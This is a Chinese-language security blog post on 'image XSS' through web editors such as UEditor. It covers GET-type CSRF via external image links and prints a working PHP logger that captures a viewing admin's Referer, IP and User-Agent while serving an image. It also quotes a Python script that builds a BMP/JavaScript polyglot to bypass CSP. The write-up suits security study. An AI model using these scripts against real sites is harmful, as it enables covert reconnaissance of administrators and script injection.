在使用類似ueditor這樣的網頁編輯器時,由於編輯器本身支持的源碼編輯功能,如果過濾的不夠完善,攻擊者可以通過寫入js來執行腳本語句,達成存儲型xss的效果。
當然,如今的編輯器安全方面做的都已經相當不錯,能夠自動觸發的惡意腳本已經是很難寫入了,剩下還比較容易受控的,就是點擊觸發的外部鏈接了。前段時間,我就在嘗試利用了外部鏈接進行csrf時,小伙伴提醒我可以嘗試一下圖片xss的方法,該方法和惡意外部鏈接的手段差不多,就是在編輯器引入外部圖片的src地址時,修改為一個惡意地址,由於圖片自動加載的特性,審核人員在查看該頁面時會總動觸發該請求,如果該請求是一個有效的csrf,就可以在無聲無息間~~~~。
感覺不算是一個漏洞,實際的利用還是要結合其他諸如csrf漏洞,而且由於是在img標簽的src里,如果請求的頁面里有什么js腳本也不會被執行,所以頂多只能搞搞get類型的csrf,所以貌似危害不是很大,也不太好處理。后來小伙伴又提出了jsonp劫持的概念,表示沒有研究過,貌似和csrf差不大多。
為了探究它還能做什么,我稍稍研究了一番。簡單記錄一下:
#0x01 CSRF
csrf不需要細說了,使用條件比較苛刻,不過我在某站后台里確實找到get型的csrf利用,可以刪除除管理員外的其他用戶數據。
#0x02 打后台地址
在別人博客上看到有提到可以用這種圖片xss拿別人后台,沒看到具體的方法,不過博主提到是用Php偽造了一張圖片,且這種方法無法拿cookie,只能獲取后台、瀏覽器、IP地址之類的信息。
沒看到代碼只好自己尋思,無法拿cookie說明並沒有同源的腳本執行,后台地址、瀏覽器、IP地址之類其實就是Header頭,而header頭信息是訪問請求里自帶的,然后用Php腳本提取出來並記錄。
想到就做,用自己蹩腳的Php實現了一下:
<?php $keys=array('HTTP_REFERER','REMOTE_ADDR','HTTP_USER_AGENT'); //file_put_contents('result',$_SERVER); $headers=''; foreach($_SERVER as $key=>$value){ if(in_array($key,$keys)){ $headers.='|'.$key.':'.$value; //echo $headers; } } file_put_contents('result',$headers."\n",FILE_APPEND); echo file_get_contents('test.jpg'); ?>
為了不引起懷疑,還特地返回了一張圖片。
測試了下效果(<img src="http://192.168.124.129:8888/test.php"/>),你打開網頁看到圖片的同時,對方已經拿到你的地址了。
如果你當前是在管理員頁面做審核,你的管理員地址就暴露了。
不過有些網站做了meta referer設置,referer就抓不到了。
#0x03 另一種情景的圖片執行js
在繞過csp時可能會用到,如果網站阻止了外域js,可以通過上傳一個可執行Js語法的圖片來造成xss。
大佬的代碼:
#!/usr/bin/env python2.7 import os import argparse def injectFile(payload,fname): f = open(fname,"r+b") b = f.read() f.close() f = open(fname,"w+b") f.write(b) f.seek(2,0) f.write(b'\x2F\x2A') f.close() f = open(fname,"a+b") f.write(b'\xFF\x2A\x2F\x3D\x31\x3B') f.write(payload) f.close() return True if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("filename",help="the bmp file name to infected") parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"") args = parser.parse_args() injectFile(args.js_payload,args.filename)
主要是通過修改文件結構讓圖片變成符合js語法的文件。
<html> <head><title>Opening an image</title> </head> <body> <img src="logo.bmp"\> <script src= "logo.bmp"> </script> </body> </html>
嘗試后, 圖片既可以顯示又可以執行js語句。原因似乎是因為瀏覽器在進行content種別判斷時,不單考慮content_type,還會根據content的內容進行判斷。
ps:有些圖片無法成功,原因是注釋掉的中間圖片本身內容破壞了會破壞js結構。
#0x04參考
https://blog.csdn.net/qq_27446553/article/details/45498489
http://xdxd.love/2015/04/10/csp%E7%BB%95%E8%BF%87/
https://woj.app/1785.html
https://blog.csdn.net/microad_liy/article/details/6733847